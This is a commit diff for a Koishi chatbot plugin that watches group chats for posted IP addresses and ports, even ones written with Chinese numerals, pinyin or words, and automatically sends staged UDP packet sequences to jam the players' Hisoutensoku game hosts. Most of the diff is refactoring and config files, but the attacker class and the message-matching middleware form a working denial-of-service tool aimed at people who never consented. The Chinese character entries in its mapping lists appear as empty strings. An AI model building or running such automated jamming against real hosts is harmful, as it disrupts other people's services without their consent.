Commit b86744bd authored by nanahira's avatar nanahira

rework

parent c3fea51d
# compiled output
/dist
/node_modules
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# OS
.DS_Store
# Tests
/coverage
/.nyc_output
# IDEs and editors
/.idea
.project
.classpath
.c9/
*.launch
.settings/
*.sublime-workspace
# IDE - VSCode
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
/data
/output
/config.yaml
.git*
Dockerfile
.dockerignore
webpack.config.js
dist/*
build/*
\ No newline at end of file
module.exports = {
parser: '@typescript-eslint/parser',
parserOptions: {
project: 'tsconfig.json',
sourceType: 'module',
},
plugins: ['@typescript-eslint/eslint-plugin'],
extends: [
'plugin:@typescript-eslint/recommended',
'plugin:prettier/recommended',
],
root: true,
env: {
node: true,
jest: true,
},
ignorePatterns: ['.eslintrc.js'],
rules: {
'@typescript-eslint/interface-name-prefix': 'off',
'@typescript-eslint/explicit-function-return-type': 'off',
'@typescript-eslint/explicit-module-boundary-types': 'off',
'@typescript-eslint/no-explicit-any': 'off',
},
};
# compiled output
/dist
/node_modules
# Logs
logs
*.log
......@@ -6,106 +10,29 @@ yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
# parcel-bundler cache (https://parceljs.org/)
.cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and *not* Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
/build
# OS
.DS_Store
# Tests
/coverage
/.nyc_output
# IDEs and editors
/.idea
.project
.classpath
.c9/
*.launch
.settings/
*.sublime-workspace
# IDE - VSCode
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
/data
/output
/dest
/dist
/config.yaml
.idea
/config.yaml
\ No newline at end of file
/install-npm.sh
.git*
/data
/output
/dest
/config.yaml
.idea
.dockerignore
Dockerfile
\ No newline at end of file
Dockerfile
/src
{
"singleQuote": true,
"trailingComma": "all"
}
\ No newline at end of file
#!/bin/bash
npm install --save \
source-map-support \
koishi-thirdeye
npm install --save-dev \
@types/node \
typescript \
'@typescript-eslint/eslint-plugin@^4.28.2' \
'@typescript-eslint/parser@^4.28.2 '\
'eslint@^7.30.0' \
'eslint-config-prettier@^8.3.0' \
'eslint-plugin-prettier@^3.4.0' \
prettier \
raw-loader \
ts-loader \
webpack \
webpack-cli \
koishi@next \
ws
This diff is collapsed.
......@@ -3,43 +3,52 @@
"version": "3.0.8",
"description": "A Koishi Plugin jamming hisoutensoku plays in group.",
"main": "dist/index.js",
"dependencies": {
"source-map-support": "^0.5.19"
},
"peerDependencies": {
"koishi": "^4.0.0-beta.2"
},
"devDependencies": {
"@types/lodash": "^4.14.177",
"@types/node": "^15.0.1",
"koishi": "^4.0.0-beta.2",
"lodash": "^4.17.21",
"moment": "^2.29.1",
"raw-loader": "^4.0.2",
"ts-loader": "^9.1.1",
"ts-node": "^9.1.1",
"typescript": "^4.2.4",
"webpack": "^5.36.2",
"webpack-cli": "^4.6.0"
},
"types": "dist/index.d.ts",
"scripts": {
"lint": "eslint --fix .",
"build": "webpack && env PACK_ALL=1 webpack"
},
"repository": {
"type": "git",
"url": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer.git"
},
"author": "Nanahira <nanahira@momobako.com>",
"license": "MIT",
"keywords": [
"Koishi.js",
"hisouten",
"hisoutensoku",
"qqbot",
"cqhttp"
],
"author": "Nanahira <nanahira@momobako.com>",
"license": "MIT",
"bugs": {
"url": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer/issues"
},
"homepage": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer"
"homepage": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer",
"peerDependencies": {
"koishi": "^4.0.0-beta.2"
},
"dependencies": {
"ip": "^1.1.5",
"koishi-thirdeye": "^3.0.5",
"lodash": "^4.17.21",
"moment": "^2.29.1",
"source-map-support": "^0.5.21"
},
"devDependencies": {
"@types/ip": "^1.1.0",
"@types/lodash": "^4.14.177",
"@types/node": "^16.11.9",
"@typescript-eslint/eslint-plugin": "^4.33.0",
"@typescript-eslint/parser": "^4.33.0",
"eslint": "^7.32.0",
"eslint-config-prettier": "^8.3.0",
"eslint-plugin-prettier": "^3.4.1",
"koishi": "^4.0.0-beta.2",
"prettier": "^2.4.1",
"raw-loader": "^4.0.2",
"ts-loader": "^9.2.6",
"typescript": "^4.5.2",
"webpack": "^5.64.2",
"webpack-cli": "^4.9.1",
"ws": "^8.2.3"
}
}
import dgram from "dgram";
import _ from "lodash";
import dgram from 'dgram';
import _ from 'lodash';
const messageStage1 = [
1,
......@@ -127,18 +127,18 @@ const AttackRoutine: AttackStep[] = [
{
type: AttackType.Send,
message: messageStage1,
comment: "Discover",
comment: 'Discover',
},
{
type: AttackType.Wait,
message: smallMessage,
intervalMessage: messageStage1,
comment: "First wait",
comment: 'First wait',
},
{
type: AttackType.Send,
message: smallMessage,
comment: "Send a small message",
comment: 'Send a small message',
},
/*{
type: AttackType.Wait,
......@@ -149,9 +149,10 @@ const AttackRoutine: AttackStep[] = [
{
type: AttackType.Send,
message: messageStage2,
comment: "Send final package",
comment: 'Send final package',
},
];
export class Attacker {
address: string;
port: number;
......@@ -159,6 +160,7 @@ export class Attacker {
socket: dgram.Socket;
error: any;
currentWait: (msg: Buffer, rinfo: any) => void;
constructor(address: string, port: number, timeout: number) {
this.address = address;
this.port = port;
......@@ -166,14 +168,16 @@ export class Attacker {
this.currentWait = null;
this.error = null;
}
sendMessage(message: number[]): Promise<any> {
return new Promise((done) => {
this.socket.send(Buffer.from(message), done);
});
}
waitForReply(
messageToWait: number[],
intervalMessage?: number[]
intervalMessage?: number[],
): Promise<boolean> {
let intv: NodeJS.Timeout = null;
if (intervalMessage) {
......@@ -203,6 +207,7 @@ export class Attacker {
}, this.timeout);
});
}
async performStep(step: AttackStep): Promise<string> {
let err;
switch (step.type) {
......@@ -220,13 +225,14 @@ export class Attacker {
break;
}
default: {
return "Unknown step";
return 'Unknown step';
}
}
return null;
}
async attack(): Promise<string> {
this.socket = dgram.createSocket("udp4");
this.socket = dgram.createSocket('udp4');
let err: string = null;
await new Promise<void>((done) => {
this.socket.connect(this.port, this.address, () => {
......@@ -237,12 +243,12 @@ export class Attacker {
this.socket.close();
return `Failed to connect: ${connectionError.toString()}`;
}*/
this.socket.on("message", (msg, rinfo) => {
this.socket.on('message', (msg, rinfo) => {
if (this.currentWait) {
this.currentWait(msg, rinfo);
}
});
this.socket.on("error", (err) => {
this.socket.on('error', (err) => {
this.error = err;
});
for (let step of AttackRoutine) {
......
import _ from 'lodash';
const chineseCharacterWordList = [
{ character: '', value: 0 },
{ character: '', value: 1 },
{ character: '', value: 2 },
{ character: '', value: 3 },
{ character: '', value: 4 },
{ character: '', value: 5 },
{ character: '', value: 6 },
{ character: '', value: 7 },
{ character: '', value: 8 },
{ character: '', value: 9 },
{ character: '', value: '.' },
{ character: '', value: '.' },
{ character: '', value: 0 },
{ character: '', value: 1 },
{ character: '', value: 2 },
{ character: '', value: 3 },
{ character: '', value: 4 },
{ character: '', value: 5 },
{ character: '', value: 6 },
{ character: '', value: 7 },
{ character: '', value: 8 },
{ character: '', value: 9 },
{ character: 'zero', value: 0 },
{ character: 'one', value: 1 },
{ character: 'two', value: 2 },
{ character: 'three', value: 3 },
{ character: 'four', value: 4 },
{ character: 'five', value: 5 },
{ character: 'six', value: 6 },
{ character: 'seven', value: 7 },
{ character: 'eight', value: 8 },
{ character: 'nine', value: 9 },
{ character: '', value: 11 },
{ character: '', value: 12 },
{ character: '', value: 13 },
{ character: '', value: 14 },
{ character: '', value: 15 },
{ character: '', value: 16 },
{ character: '', value: 17 },
{ character: '', value: 18 },
{ character: '', value: 19 },
{ character: '', value: 20 },
{ character: 'ling', value: 0 },
{ character: 'yi', value: 1 },
{ character: 'er', value: 2 },
{ character: 'san', value: 3 },
{ character: 'si', value: 4 },
{ character: 'wu', value: 5 },
{ character: 'liu', value: 6 },
{ character: 'qi', value: 7 },
{ character: 'ba', value: 8 },
{ character: 'jiu', value: 9 },
{ character: 'shi', value: 10 },
{ character: '', value: 0 },
{ character: '', value: 0 },
{ character: '', value: 0 },
{ character: '', value: 1 },
{ character: '', value: 1 },
{ character: '', value: 1 },
{ character: '', value: 1 },
{ character: '', value: 1 },
{ character: '', value: 2 },
{ character: '', value: 2 },
{ character: '', value: 2 },
{ character: '', value: 3 },
{ character: '', value: 3 },
{ character: '', value: 3 },
{ character: '', value: 4 },
{ character: '', value: 4 },
{ character: '', value: 5 },
{ character: '', value: 5 },
{ character: '', value: 5 },
{ character: '', value: 5 },
{ character: '', value: 6 },
{ character: '', value: 6 },
{ character: '', value: 6 },
{ character: '', value: 7 },
{ character: '', value: 7 },
{ character: '', value: 7 },
{ character: '', value: 7 },
{ character: '', value: 7 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 9 },
{ character: '', value: 9 },
{ character: '', value: 9 },
{ character: '', value: 9 },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
].map((l) => ({ character: l.character, value: l.value.toString() }));
const chineseCharacterWordGroup: Record<
string,
{ character: string; value: string }[]
> = _.groupBy(chineseCharacterWordList, 'value');
export const chineseCharacterList = Object.entries(
chineseCharacterWordGroup,
).map(([value, patternObjects]) => ({
value,
characterRegExp: new RegExp(
patternObjects.map((patternObject) => patternObject.character).join('|'),
'g',
),
}));
import 'source-map-support/register';
import { DefineSchema, RegisterSchema } from 'koishi-thirdeye';
import ip from 'ip';
@RegisterSchema()
export class HisoutensokuJammerPluginConfig {
@DefineSchema({ desc: '干扰时间', default: 10000 })
attackTimeout: number;
@DefineSchema({ desc: 'IP 白名单', default: [], type: 'string' })
addressWhitelist: string[];
getSubnet(addr: string) {
return ip.cidrSubnet(addr.includes('/') ? addr : `${addr}/32`);
}
isWhitelisted(addr: string) {
return this.addressWhitelist.some((whitelistAddr) =>
this.getSubnet(whitelistAddr).contains(addr),
);
}
}
export type HisoutensokuJammerPluginConfigLike = Partial<HisoutensokuJammerPluginConfig>;
import "source-map-support/register";
import { Logger, Context, Schema, segment } from "koishi";
import { Attacker } from "./attacker";
import moment from "moment";
import _ from "lodash";
import 'source-map-support/register';
import { Context, Logger, NextFunction, Session, Cache, segment } from 'koishi';
import {
HisoutensokuJammerPluginConfig,
HisoutensokuJammerPluginConfigLike,
} from './config';
import {
KoishiPlugin,
InjectConfig,
UseMiddleware,
InjectLogger,
Inject,
UseEvent,
} from 'koishi-thirdeye';
import { Attacker } from './attacker';
import moment from 'moment';
import { chineseCharacterList } from './chinese-replace';
export * from './config';
export interface HisoutensokuJammerConfig {
attackTimeout?: number;
addressWhitelist?: string[];
declare module 'koishi' {
interface Modules {
'hisoutensoku-jammer': typeof import('.');
}
namespace Cache {
interface Tables {
lastMessages: string;
}
}
}
const chineseCharacterWordList = [
{ character: "", value: 0 },
{ character: "", value: 1 },
{ character: "", value: 2 },
{ character: "", value: 3 },
{ character: "", value: 4 },
{ character: "", value: 5 },
{ character: "", value: 6 },
{ character: "", value: 7 },
{ character: "", value: 8 },
{ character: "", value: 9 },
{ character: "", value: "." },
{ character: "", value: "." },
{ character: "", value: 0 },
{ character: "", value: 1 },
{ character: "", value: 2 },
{ character: "", value: 3 },
{ character: "", value: 4 },
{ character: "", value: 5 },
{ character: "", value: 6 },
{ character: "", value: 7 },
{ character: "", value: 8 },
{ character: "", value: 9 },
{ character: "zero", value: 0 },
{ character: "one", value: 1 },
{ character: "two", value: 2 },
{ character: "three", value: 3 },
{ character: "four", value: 4 },
{ character: "five", value: 5 },
{ character: "six", value: 6 },
{ character: "seven", value: 7 },
{ character: "eight", value: 8 },
{ character: "nine", value: 9 },
{ character: "", value: 11 },
{ character: "", value: 12 },
{ character: "", value: 13 },
{ character: "", value: 14 },
{ character: "", value: 15 },
{ character: "", value: 16 },
{ character: "", value: 17 },
{ character: "", value: 18 },
{ character: "", value: 19 },
{ character: "", value: 20 },
{ character: "ling", value: 0 },
{ character: "yi", value: 1 },
{ character: "er", value: 2 },
{ character: "san", value: 3 },
{ character: "si", value: 4 },
{ character: "wu", value: 5 },
{ character: "liu", value: 6 },
{ character: "qi", value: 7 },
{ character: "ba", value: 8 },
{ character: "jiu", value: 9 },
{ character: "shi", value: 10 },
{ character: "", value: 0 },
{ character: "", value: 0 },
{ character: "", value: 0 },
{ character: "", value: 1 },
{ character: "", value: 1 },
{ character: "", value: 1 },
{ character: "", value: 1 },
{ character: "", value: 1 },
{ character: "", value: 2 },
{ character: "", value: 2 },
{ character: "", value: 2 },
{ character: "", value: 3 },
{ character: "", value: 3 },
{ character: "", value: 3 },
{ character: "", value: 4 },
{ character: "", value: 4 },
{ character: "", value: 5 },
{ character: "", value: 5 },
{ character: "", value: 5 },
{ character: "", value: 5 },
{ character: "", value: 6 },
{ character: "", value: 6 },
{ character: "", value: 6 },
{ character: "", value: 7 },
{ character: "", value: 7 },
{ character: "", value: 7 },
{ character: "", value: 7 },
{ character: "", value: 7 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 9 },
{ character: "", value: 9 },
{ character: "", value: 9 },
{ character: "", value: 9 },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
].map((l) => ({ character: l.character, value: l.value.toString() }));
const chineseCharacterWordGroup: Record<
string,
{ character: string; value: string }[]
> = _.groupBy(chineseCharacterWordList, "value");
const chineseCharacterList = Object.entries(chineseCharacterWordGroup).map(
([value, patternObjects]) => ({
value,
characterRegExp: new RegExp(
patternObjects.map((patternObject) => patternObject.character).join("|"),
"g"
),
})
);
const matcherGlobal = /([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g;
const matcherSingle = /([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/;
@KoishiPlugin({
name: 'hisoutensoku-jammer',
schema: HisoutensokuJammerPluginConfig,
})
export default class HisoutensokuJammerPlugin {
constructor(
private ctx: Context,
config: HisoutensokuJammerPluginConfigLike,
) {}
class HisoutensokuJammer {
log: Logger;
lastMessageMap = new Map<string, string>();
constructor(private ctx: Context, private config: HisoutensokuJammerConfig) {
this.log = ctx.logger("hisoutensoku-jammer");
@InjectLogger()
private log: Logger;
@Inject('cache')
private cache: Cache;
@UseEvent('service/cache')
initializeCacheTable() {
this.cache.table('lastMessages', { maxAge: 600000 });
}
apply() {
this.ctx.middleware(async (session, next) => {
const sender = session.userId;
const message = session.content;
this.handleMessage(message, sender).then();
return next();
});
@InjectConfig()
private config: HisoutensokuJammerPluginConfig;
@UseMiddleware()
async onMessage(session: Session, next: NextFunction) {
this.handleMessage(session.content, session.userId).then();
return next();
}
combineMessage(message: string) {
private combineMessage(message: string) {
const segmentChain = segment.parse(message);
const textSegments = segmentChain.filter(
(segment) => segment.type === "text"
(segment) => segment.type === 'text',
);
return textSegments
.map((segment) => segment.data.content)
.join("")
.join('')
.trim();
}
async handleMessage(message: string, sender: string) {
let realMessage = this.combineMessage(message)
.split("\n")
.join(" ")
let receivedMessage = this.combineMessage(message)
.split('\n')
.join(' ')
.toLowerCase();
for (const chineseCharacter of chineseCharacterList) {
realMessage = realMessage.replace(
receivedMessage = receivedMessage.replace(
chineseCharacter.characterRegExp,
chineseCharacter.value
chineseCharacter.value,
);
}
const lastMessage = this.lastMessageMap.get(sender);
this.lastMessageMap.set(sender, realMessage);
let messageMatch: RegExpMatchArray = realMessage.match(
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g
);
if (!messageMatch && lastMessage) {
const combinedMessage = `${lastMessage} ${realMessage}`;
messageMatch = combinedMessage.match(
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g
);
const lastMessage = await this.cache.get('lastMessages', sender);
let messageMatch = receivedMessage.match(matcherGlobal);
if (lastMessage) {
receivedMessage = `${lastMessage} ${receivedMessage}`;
if (!messageMatch) {
messageMatch = receivedMessage.match(matcherGlobal);
}
}
if (!messageMatch) {
await this.cache.set('lastMessages', sender, receivedMessage);
return;
}
await this.cache.del('lastMessages', sender);
const attackPromises = messageMatch.map((pattern) => {
const patternMatch = pattern.match(
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/
);
const firstDigit = patternMatch[1].replace(/ +/g, "");
const patternMatch = pattern.match(matcherSingle);
const firstDigit = patternMatch[1].replace(/ +/g, '');
const address = `${firstDigit}.${patternMatch[2]
.slice(1)
.split(/[^\d]/)
.join(".")}`;
const port = parseInt(patternMatch[4].replace(/ +/g, ""));
.join('.')}`;
const port = parseInt(patternMatch[4].replace(/ +/g, ''));
return this.startAttack(address, port);
});
const results: boolean[] = await Promise.all(attackPromises);
}
async startAttack(address: string, port: number): Promise<boolean> {
if (this.config.addressWhitelist.includes(address)) {
if (this.config.isWhitelisted(address)) {
this.log.info(`Attack of ${address}:${port} skipped.`);
return false;
}
......@@ -217,13 +135,3 @@ class HisoutensokuJammer {
return true;
}
}
export const name = "hisoutensoku-jammer";
export const schema: Schema<HisoutensokuJammerConfig> = Schema.object({
attackTimeout: Schema.number("干扰时间。").default(10000),
addressWhitelist: Schema.array(Schema.string(), "IP 白名单").default([]),
});
export function apply(ctx: Context, config: HisoutensokuJammerConfig) {
const hisoutensokuJammer = new HisoutensokuJammer(ctx, config);
hisoutensokuJammer.apply();
}
......@@ -2,7 +2,7 @@
"compilerOptions": {
"outDir": "dist",
"module": "commonjs",
"target": "esnext",
"target": "es2021",
"esModuleInterop": true,
"emitDecoratorMetadata": true,
"experimentalDecorators": true,
......@@ -13,6 +13,6 @@
"allowJs": true,
"include": [
"*.ts",
"src/*.ts"
"src/**/*.ts"
]
}
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment